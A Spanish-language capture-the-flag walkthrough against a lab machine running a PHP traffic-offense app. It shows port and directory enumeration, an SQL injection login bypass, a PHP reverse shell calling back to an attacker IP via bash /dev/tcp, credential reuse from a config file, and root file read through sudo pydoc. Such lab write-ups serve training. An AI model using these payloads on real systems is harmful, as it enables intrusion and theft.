Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.102
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-19 16:59 -04
Nmap scan report for 192.168.1.102
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0
|_http-title: Online Traffic Offense Management System - PHP
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.11 secondsEnumeramos con gobuster:
❯ gobuster dir -u 'http://192.168.1.102' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/index.php (Status: 200) [Size: 14323]
/admin (Status: 200) [Size: 22482]
/config.php (Status: 200) [Size: 0]
/uploads (Status: 403) [Size: 153]
...El sitio es el Online Traffic Offense Management System y descubrimos el dominio doc.hmv (lo añadimos al /etc/hosts). El login es vulnerable a SQL Injection de bypass de autenticación:
admin' or 1=1-- -Dentro, creamos un nuevo driver y, en el campo de la imagen, subimos una reverse shell PHP:
❯ cat pwned.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.3/1234 0>&1'");
?>Al editar el usuario se ejecuta el archivo y obtenemos una shell como www-data:
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.102:39374.
bash: cannot set terminal process group (325): Inappropriate ioctl for device
bash: no job control in this shell
www-data@doc:~/html/traffic_offense/uploads/drivers$En initialize.php encontramos las credenciales del usuario bella:
www-data@doc:~/html/traffic_offense$ cat initialize.php
...
if(!defined('DB_USERNAME')) define('DB_USERNAME',"bella");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"be114yTU");
...
www-data@doc:~/html/traffic_offense$ su bella
Password: be114yTU
bella@doc:/var/www/html/traffic_offense$Obtenemos la primera flag. Revisamos sudo -l:
bella@doc:~$ sudo -l
Matching Defaults entries for bella on doc:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bella may run the following commands on doc:
(ALL : ALL) NOPASSWD: /usr/bin/docAnalizamos el binario doc, que internamente ejecuta pydoc:
...
/usr/bin/pydoc3.9 -p 7890
...pydoc -p es vulnerable a una lectura arbitraria de archivos (CVE-2021-3426). Como el servidor solo escucha localmente, lo arrancamos como root y lo consultamos desde otra shell:
bella@doc:~$ sudo doc
Server ready at http://localhost:7890/
Server commands: [b]rowser, [q]uit
server>
www-data@doc:~/html/traffic_offense/uploads/drivers$ curl http://localhost:7890/getfile?key=/root/root.txtObtenemos nuestra flag.
Fin.